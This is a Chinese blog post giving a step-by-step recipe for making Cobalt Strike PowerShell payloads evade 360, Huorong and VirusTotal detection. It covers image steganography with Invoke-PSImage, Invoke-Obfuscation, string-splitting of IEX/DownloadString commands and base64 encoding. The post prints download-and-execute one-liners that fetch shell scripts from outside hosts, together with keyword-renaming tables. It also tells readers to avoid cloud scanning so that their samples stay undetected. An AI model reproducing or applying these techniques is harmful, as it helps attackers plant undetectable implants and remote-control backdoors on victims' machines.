记一次powershell的免杀之路(绕过360、火绒)

2021-11-12 18:22:05 浏览数 (1)

记一次powershell的免杀之路

powershell简介

powershell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,PowerShell脚本的文本文件,其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。

PowerShell具有以下特点:

1、在Windows 7以上的操作系统中是默认安装的。

2、PowerShell脚本可以运行在内存中,不需要写入磁盘。

3、几乎不会触发杀毒软件。

4、可以远程执行。

5、目前很多工具都是基于PowerShell开发的。

6、使得Windows的脚本攻击变得更加容易。

7、cmd.exe通常会被阻止运行,但是PowerShell不会。

8、可以用来管理活动目录。

实战中powershell的应用

(1)PowerShell首先是个Shell,定义好了一堆命令与操作系统,特别是与文件系统交互,能够启动应用程序,甚至操纵应用程序;第二,PowerShell允许将几个命令组合起来放到文件里执行,实现文件级的重用,也就是说有脚本的性质;第三,PowerShell能够能够充分利用.Net类型和COM对象,来简单地与各种系统交互,完成各种复杂的、自动化的操作。

由于powershell的语言特点,近年来powershell在内网渗透中成为大热门,由此是各大杀软厂商"重点关注的对象"

(2)近源攻击:

生活中可以一些物理黑客常常会利用免杀的powershell代码烧录进badusb去入侵别人的电脑,这种方法简单粗暴,且攻击效果极佳。

杀毒软件检测原理

我们可以根据杀软的原理进行针对性的绕过

无文件落地的特点:

顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在攻击者在行动中更隐蔽的实施攻击以及内网横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。

powershell有六种执行策略:

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

查看powershell的默认策略:Get-ExecutionPolicy

可以看到默认的策略是Restricted 不允许任何脚本执行

我们可以用管理员权限去更改powershell的默认策略

Set-ExecutionPolicy Unrestricted

当然这种方法在实战中不太适用,动作太大容易被被杀软发现

cobaltstrike4.0

cobaltsrtike简介

实验开始之前需准备cobaltstrike4.0,作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选

fireeye多次分析过实用cobaltstrike进行apt的案例。

【安装及使用教程】

代码语言:javascript复制
https://zhuanlan.zhihu.com/p/347671727?utm_source=wechat_session&utm_medium=social&utm_oi=1105459334804398080&utm_campaign=shareopn

0x01.Invoke-PSImage脚本图片混淆powershell代码

实验环境:

虚拟机win10(装有360全家桶,火绒安全)、物理机win10

window server2012(具有公网IP的服务器)

一张1920*1200的图片(只能大不能小),后面代码要插入图片里,像素小了位数不够。

Cobalt Strike工具 Invoke-psimage脚本

【Github传送门】:

代码语言:javascript复制
https://github.com/peewpw/Invoke-PSImage

调用-PSImage

在 PNG 文件的像素中对 PowerShell 脚本进行编码,并生成要执行的 oneliner

Invoke-PSImage 使用 PowerShell 脚本并将脚本的字节编码为 PNG 图像的像素。它生成一个oneliner,用于从网络上的文件或文件中执行。

它可以仅使用有效载荷数据创建新图像,也可以将有效载荷嵌入现有图像的最低有效字节中,使其看起来像一张真实的图片。图像保存为 PNG,并且可以无损压缩而不会影响执行有效负载的能力,因为数据存储在颜色本身中。创建新图像时,普通的 PowerShell 脚本实际上会被大大压缩,通常会生成一个文件大小约为原始脚本 50% 的 png。

使用嵌入方法,每个像素中 2 个颜色值的最低有效 4 位用于保存有效负载。图像质量会因此而受到影响,但看起来仍然不错。它可以接受大多数图像类型作为输入,但输出将始终是 PNG,因为它需要无损。图像的每个像素用于保存一个字节的脚本,因此你将需要一个像素数至少与脚本中的字节数一样多的图像。

用cobaltsrtike配置监听器并生成一个payload.ps1(详细操作可自己baidu)

在文件夹目录下输入cmd,执行以下三行命令

代码语言:javascript复制
Powershell -ExecutionPolicy Bypass  

Import-Module .Invoke-PSImage.ps1

Invoke-PSImage -Script .payload.ps1 -Image . 123.jpg -Out 456.jpg -Web

为了方便从上传,这里输出jpg格式,你也可以输出png格式,问题不大

并且复制这段代码

文件夹里多出一个5252kb的图片456.jpg

这就是Ivoke-PSImage脚本对powershell代码和图片进行混淆的图片马

端口自选我这里选择5432,注意不要与监听端口重复

复制该链接,替换掉上面生成出来代码中的http链接

新建一个文件,格式为.ps1将这段断码复制粘贴到里面,这就是一个新的powershell木马

可以看到cobaltsrike已经上线上线

在360的环境下cobaltstrike可以上线

Virus total免杀率95%(3/56)

可以看到vt静态查杀过不了微软的defender,windows defender 不愧是”地表最强杀软”

我们可以以对样本进行小小的修改,同样可以做到免杀,实际操作可参考方法三

0x02.Invoke-Obfuscation-Bypas脚本免杀

powershell的免杀⽅法有很多,对代码进⾏编码是最常⻅的⼀种,这⾥介绍⼀个专⻔⽤来对powershell进⾏编码免杀的框架Invoke

Obfuscation,这也是著名的APT32组织海莲花常⽤的⼀个⼯具。

该工具可以对powershell代码进行 ASCII/hex/octal/binary甚至SecureString进行加密混淆

Invoke-Obfuscation主要是对ps1脚本进⾏免杀,所以这⾥还是需要现有⼀个ps的payload,我还是⽤法1的cobaltsrtike生成一个ps1文件

【github地址】:

代码语言:javascript复制
https://github.com/AdminTest0/Invoke-Obfuscation-Bypass

用法:

在Invoke-Obfuscation-Bypass文件夹中输入powershell,打开powershell界面

依次输入

代码语言:javascript复制
Powershell -ExecutionPolicy Bypass(要以管理员模式才能运行)
Import-Module .Invoke-Obfuscation.psd1
Invoke-Obfuscation

将刚才cs生成的payload.ps1放在刚才的文件夹

依次输入

代码语言:javascript复制
set scriptpath C:Users用户名Desktoppayload.ps1     /*paloads.ps1的绝对路径/
token
all
1
out ..1.ps1     /*输出文件/

输出一个ps1文件

暂且不对它进行处理,断开网络放到360,火绒上进行检测,注意不要使用云查杀,否则样本会上传到云检测,过几天就不免杀了

静态能轻松绕过,动态也可使cobaltsrtike上线

Virus total免杀率95%(3/56)

0x03 .ps1源文件命令混淆(行为免杀)

虽然ps1代码⾃身免杀,但在⽤powershell执⾏远程下载或执⾏shellcode时,很容易触发杀软⾏为规则。

对于IEX这种⽅便快捷的⽅式直接运⾏会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做⼀些处理。

⽐如利⽤replace替换函数,可以bypass。

例如常用powershell执行命令

代码语言:javascript复制
powershell -NoExit "IEX(New-Object Net.WebClient).DownloadString.(''http://10.211.55.2/shell.ps1''))"
代码语言:javascript复制
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1 $c2)"

.利用' '拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP)

代码语言:javascript复制
powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘ ’tp://192.168.52.23:80/a')"

修改以下关键字,规避静态查杀(建议使用工具替换)

代码语言:javascript复制
IEX $DoIt -- i`ex $DoIt
IEX $a  --  ie`x $a
$var_runme -- $vrunme
$var_buffer -- $vbuffer
func_get_proc_address --  func_k
func_get_delegate_type -- func_l
$var_type_builder -- $vk
$var_parameters -- $vp
$var_return_type-- $ve
$var_procedure -- $v_pro

可bypass360和⽕绒

0x04. base64编码powershell 图片混淆技术绕过AV检测

首先我们在cobaltsrtike4.0中生成一个powershell代码文件(注意不能是64位的)

可以看到基本的意思是把代码以及字符串进行base64加密放进$var_code变量中然后用IEX运行,所以可以通过base64加密和解密来绕过静态特征码检测

选中@’’@里的所有代码进行base64加密,然后在下面进行解密

代码语言:javascript复制
解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

只需更改划红线的四个变量,保存,在powershell中执行可使cobaltsrtike上线

Virus total免杀率有点高

我们可以利用powershell的语言特点 进行变量的拼接,尝试把 base64 编码后的字符串拆开(注意这里变量的更改)

少了十个

但是这种方法仅限静态查杀,动态会马上被360和火绒检测,我们和可以结合方法一使用图片混淆进行绕过

过程省略

Cobaltstrike稳定上线,经实验 ,后渗透至少能坚持半个小时

Vt相对前面稍稍高了一点,我们也可以用方法三对ps1文件进行混淆这里就不实验了

总结:

总结:根据 方法四 base64 加密的方法还可以推断出使用其他加密比如 ascii 码加密也有同样的效果。四种方法中,方法三最稳定,都能绕过360和火绒,但是动态很难绕过微软的defender(开启360时会自动关闭defender),毕竟是自家的东西,什么花样都给你拿捏的死死的。每种方法都有它的利弊,喜欢哪种玩哪种。另外免杀技术都有时效性,现在杀软厂商云查杀库越来越强,一种新的免杀技术一般撑不过几个月,但是大家可以根据上述的方法变形,比如可以拆成很多段,在配合其他的加密和解密手段进行免杀,制作属于自己的免杀。

参考链接:https://mp.weixin.qq.com/s/wWybPCRsBo0xrvhfYL2YDw

觉得作者写的好的话可以点赞 关注!!


关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,“1120”安全参考杂志电子版,“1208”个人常用高效爆破字典,“0221”2020年酒仙桥文章打包,“2191”9月1日前潇湘信安所有文章打包。

还在等什么?赶紧点击下方名片关注学习吧!


推 荐 阅 读


欢 迎 私 下 骚 扰

0 人点赞